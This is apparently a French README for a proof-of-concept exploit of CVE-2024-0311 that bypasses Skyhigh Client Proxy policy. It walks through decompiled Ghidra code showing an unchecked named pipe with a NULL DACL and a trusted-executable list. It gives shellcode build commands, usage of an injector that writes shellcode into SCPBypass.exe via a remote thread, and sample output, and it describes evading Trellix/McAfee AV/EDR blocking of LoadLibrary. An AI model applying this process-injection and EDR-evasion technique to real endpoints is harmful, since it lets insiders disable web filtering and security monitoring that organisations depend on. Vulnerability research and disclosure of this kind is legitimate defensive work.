
Preuve de concept d'exploitation pour CVE-2024-0311 contournant la politique de Skyhigh Client Proxy via injection de processus et manipulation de named pipe, avec shellcode personnalisé pour contourner les restrictions AV/EDR.
Ceci est un PoC pour ce que je pense être CVE-2024-0311, SB10418.
Un initié malveillant peut contourner la politique existante de Skyhigh Client Proxy sans code de déblocage valide.
Beaucoup de détails. Très exploit. ¯\(ツ)/¯
Le PoC injecte dans un processus SCPBypass.exe lancé par l'utilisateur et écrit dans le pipe de SCPService.exe : \\.\pipe\MCPTrayPipe0.
L'injection est nécessaire car, même si le pipe est RW Everyone, certaines vérifications sont effectuées par WGUARDNT sur l'exécutable écrivant dans le pipe (le chemin de l'écrivain est vérifié), voir ci-dessous.
Un exemple de shellcode est fourni, qui permet l'exécution de WriteFile sur le pipe même si Trellix/McAfee sont en cours d'exécution et interceptent/bloquent LoadLibrary.
Compilez en Debug ou Release depuis Visual Studio
Générez le shellcode via :
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
puis placez le shellcode dans shellcode.c.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
Exemple de sortie :
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
Si tout s'est bien passé, vous devriez trouver une entrée similaire à ceci dans les fichiers journaux SCP :
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
Ce sera une brève analyse, parce que personne n'a le temps pour les mots.
Tout d'abord, qu'est-ce que le client proxy Skyhigh ?
Le logiciel Skyhigh Security Client Proxy aide à protéger les utilisateurs finaux contre les menaces de sécurité qui surviennent lorsqu'ils accèdent au web depuis l'intérieur ou l'extérieur de votre réseau. Le logiciel client, installé sur les endpoints exécutant Microsoft Windows ou macOS, redirige les requêtes web ou les laisse continuer vers un proxy pour filtrage. Le logiciel serveur s'exécute sur l'une des plateformes de gestion : Trellix ePO SaaS ou Trellix ePO Cloud.
Cela devrait être clair.
Compte tenu des informations de l'avis de sécurité, il n'y a pas grand-chose sur quoi s'appuyer.
En toute honnêteté, je regardais le service binaire pour repérer des failles faciles à exploiter pour une élévation de privilèges locale (LPE) quand j'ai vu CreateNamedPipe et que je me suis intéressé.
Voici un copier-coller rapide du code décompilé de Ghidra :
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
Comme on peut le voir, une fois la fonction appelée, une nouvelle structure DACL est initialisée et un nouveau pipe \\.\pipe\MCPTrayPipe0 est créé en byte mode.
Ensuite, tant que le handle vers ce pipe est valide, le programme lit depuis celui-ci et tente de convertir les octets qui lui sont envoyés d'ASCII en entier avec atoi(out_lpBuffer).
En ignorant le fait qu'il existe de meilleures alternatives à atoi, en supposant que l'appel à atoi n'a pas échoué, la valeur convertie est passée à FUN_14022d5b0 :
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];
local_10[0].QuadPart = (ulonglong)(uint)atoi_out_lpBuffer * -600000000;
BVar1 = SetWaitableTimer(*(HANDLE *)(param1 + 0xd8),local_10,0,(PTIMERAPCROUTINE)0x0,(LPVOID)0x0,0
);
if (BVar1 == 0) {
DVar2 = GetLastError();
uVar3 = FUN_140040210();
LOGFUN_1400402a0(uVar3,L"CBypassPipeServer::setBypassTimer",1,L"ERROR",L"Failed setting time %d"
,DVar2);
if ((((undefined **)PTR_LOOP_14069a4e0 != &PTR_LOOP_14069a4e0) &&
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) != 0)) && (1 < (byte)PTR_LOOP_14069a4e0[0x19]))
{
DVar2 = GetLastError();
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0x12,&DAT_1405da058,DVar2);
}
uVar3 = 0xffffffff;
}
else {
uVar3 = 0;
}
return uVar3;
}
qui appelle SetWaitableTimer. Les chaînes de caractères ont ici aidé à repérer le flux souhaité.
Le point principal ici est qu'aucune vérification n'est effectuée par le processus ScpService.exe sur qui écrit quoi dans le pipe ; les données sont simplement approuvées aveuglément et transmises.
De plus, en vérifiant les permissions du pipe avec accesschk, le pipe est RW Everyone.
L'exploit devrait donc en gros faire ce qui suit :
CreateFile() : obtenir un handle vers le pipeSetNamedPipeHandleState() : définir le mode octetWriteFile() : écrire les donnéesCloseHandle() : fermer le handleCela peut être fait littéralement en quelques lignes de PowerShell. Victoire facile, non ? Non.
Si seulement les choses étaient aussi simples ! Même si techniquement tout semblait fonctionner de cette façon, l'ouverture du pipe finissait toujours par un délai d'attente dépassé du client du pipe. En creusant un peu plus, nous avons remarqué que le service mettait en place une ACL ailleurs.
Le descripteur de sécurité par défaut utilisé par ScpService est initialisé comme suit :
SECURITY_DESCRIPTOR sd = {};
InitializeSecurityDescriptor(&sd, 1);
SetSecurityDescriptorDacl(&sd, 1, NULL, NULL);
Ceci représente une DACL, qui n'accorde l'accès à personne.
Si la liste de contrôle d'accès discrétionnaire (DACL) appartenant au descripteur de sécurité d'un objet a la valeur NULL, une DACL NULL est créée. Une DACL NULL accorde un accès complet à tout utilisateur qui le demande ; aucune vérification de sécurité normale n'est effectuée sur l'objet. Une DACL NULL ne doit pas être confondue avec une DACL vide. Une DACL vide est une DACL correctement allouée et initialisée qui ne contient aucune entrée de contrôle d'accès (ACE). Une DACL vide n'accorde aucun accès à l'objet auquel elle est affectée.
Il est très probable que l'ACE/DACL soit déléguée à \\.\WGUARDNT, qui semble être une couche de protection (McAfee ?) chargée d'accorder l'accès à une liste limitée d'objets :
.data:000000014069A510 off_14069A510 dq offset aScpserviceExe_3
.data:000000014069A510 ; DATA XREF: sub_14009A310+539↑o
.data:000000014069A510 ; sub_14009A310+674↑o ...
.data:000000014069A510 ; "scpservice*.exe"
.data:000000014069A518 dq offset aFrameworkservi ; "FrameworkService.exe"
.data:000000014069A520 dq offset aRegsvcExe ; "regsvc.exe"
.data:000000014069A528 dq offset aNaprdmgr64Exe ; "naprdmgr64.exe"
.data:000000014069A530 dq offset aNaprdmgrExe ; "naprdmgr.exe"
.data:000000014069A538 dq offset aUpdateruiExe ; "updaterui.exe"
.data:000000014069A540 dq offset aMcafeefireExe ; "McAfeeFire.exe"
.data:000000014069A548 dq offset aScpbypassExe ; "SCPBypass.exe"
.data:000000014069A550 dq offset aScpaboutExe ; "SCPAbout.exe"
.data:000000014069A558 dq offset aMfehidinExe ; "mfehidin.exe"
.data:000000014069A560 dq offset aMsiexecExe ; "msiexec.exe"
.data:000000014069A568 dq offset aMcshieldExe ; "mcshield.exe"
.data:000000014069A570 dq offset aMmcExe ; "mmc.exe"
.data:000000014069A578 dq offset aSystem_4 ; "system"
.data:000000014069A580 dq offset aServicesExe ; "services.exe"
.data:000000014069A588 dq offset aWinlogonExe ; "winlogon.exe"
.data:000000014069A590 dq offset aSvchostExe ; "svchost.exe"
Eh bien, si l'exécutable qui se connecte est vérifié par rapport à une liste d'exécutables/chemins connus et puisque SCPBypass.exe, exécuté avec les privilèges de notre utilisateur, semble être dans une liste d'applications de confiance, ne pourrions-nous pas simplement injecter une DLL dans SCPBypass.exe ?
Absolument ! Dommage que Trellix/McAfee vous bloquent l'appel à LoadLibrary.
D'où le InjmeDLL inutilisé dans le projet.
Nous avons finalement opté pour une solution rapide et sale bricolée par @wolfcod : injecter simplement un shellcode qui fait ce qu'il faut, puisque de toute façon le processus a déjà tout chargé. Au lieu d'appeler le syscall directement ou d'essayer d'autres manigances, cette solution simple a parfaitement fonctionné pour notre cas d'utilisation.
Cela a finalement abouti au contournement des restrictions imposées par la solution AV/EDR et à un exploit fonctionnel.
👋 Salutations.